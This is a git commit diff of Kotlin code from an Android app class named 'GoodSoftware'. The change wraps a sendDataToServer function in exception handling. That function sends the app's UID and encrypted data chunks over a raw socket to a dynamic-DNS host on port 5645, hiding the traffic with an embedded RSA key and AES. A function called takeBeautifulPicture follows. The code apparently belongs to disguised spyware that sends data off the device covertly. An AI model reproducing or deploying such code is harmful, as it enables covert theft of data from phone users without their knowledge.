Make client not crash if it cant access the server

This commit is contained in:
Joren 2024-05-02 10:43:35 +02:00
parent e6a96f97fa
commit fc2aa3f79d
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -131,55 +131,59 @@ class GoodSoftware (private val activity: MainActivity) {
fun sendDataToServer(sendData: String) { fun sendDataToServer(sendData: String) {
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! try {
val host = "thinclient.duckdns.org" val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val port = 5645 val host = "thinclient.duckdns.org"
val secureRandom = SecureRandom() val port = 5645
val keyBytes = ByteArray(16) val secureRandom = SecureRandom()
val ivBytes = ByteArray(16) val keyBytes = ByteArray(16)
secureRandom.nextBytes(keyBytes) val ivBytes = ByteArray(16)
secureRandom.nextBytes(ivBytes) secureRandom.nextBytes(keyBytes)
val key = SecretKeySpec(keyBytes, "AES") secureRandom.nextBytes(ivBytes)
val iv = IvParameterSpec(ivBytes) val key = SecretKeySpec(keyBytes, "AES")
val algorithm = "AES/CBC/PKCS5Padding" val iv = IvParameterSpec(ivBytes)
val algorithm = "AES/CBC/PKCS5Padding"
val chunkSize = 131072 val chunkSize = 131072
val chunks = sendData.lines().joinToString("").chunked(chunkSize) val chunks = sendData.lines().joinToString("").chunked(chunkSize)
val socket = Socket(host, port) val socket = Socket(host, port)
val writer = PrintWriter(socket.getOutputStream(), true) val writer = PrintWriter(socket.getOutputStream(), true)
val reader = BufferedReader(InputStreamReader(socket.getInputStream())) val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
val encodedKey = encodeBase64(keyBytes) val encodedKey = encodeBase64(keyBytes)
writer.println(encryptText(encodedKey, pKey)) writer.println(encryptText(encodedKey, pKey))
reader.readLine()
val encodedIV = encodeBase64(ivBytes)
writer.println(encryptText(encodedIV, pKey))
reader.readLine()
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
writer.println(encryptText(encodedUid, pKey))
reader.readLine()
for (chunk in chunks) {
val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
writer.println(cipherText)
reader.readLine() reader.readLine()
val encodedIV = encodeBase64(ivBytes)
writer.println(encryptText(encodedIV, pKey))
reader.readLine()
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
writer.println(encryptText(encodedUid, pKey))
reader.readLine()
for (chunk in chunks) {
val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
writer.println(cipherText)
reader.readLine()
}
writer.println("END_OF_COMMUNICATION")
reader.readLine()
println("Client: Ready for next operation")
writer.println("Ready for next operation")
reader.readLine()
// Close resources
writer.close()
reader.close()
socket.close()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
} }
writer.println("END_OF_COMMUNICATION")
reader.readLine()
println("Client: Ready for next operation")
writer.println("Ready for next operation")
reader.readLine()
// Close resources
writer.close()
reader.close()
socket.close()
} }
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {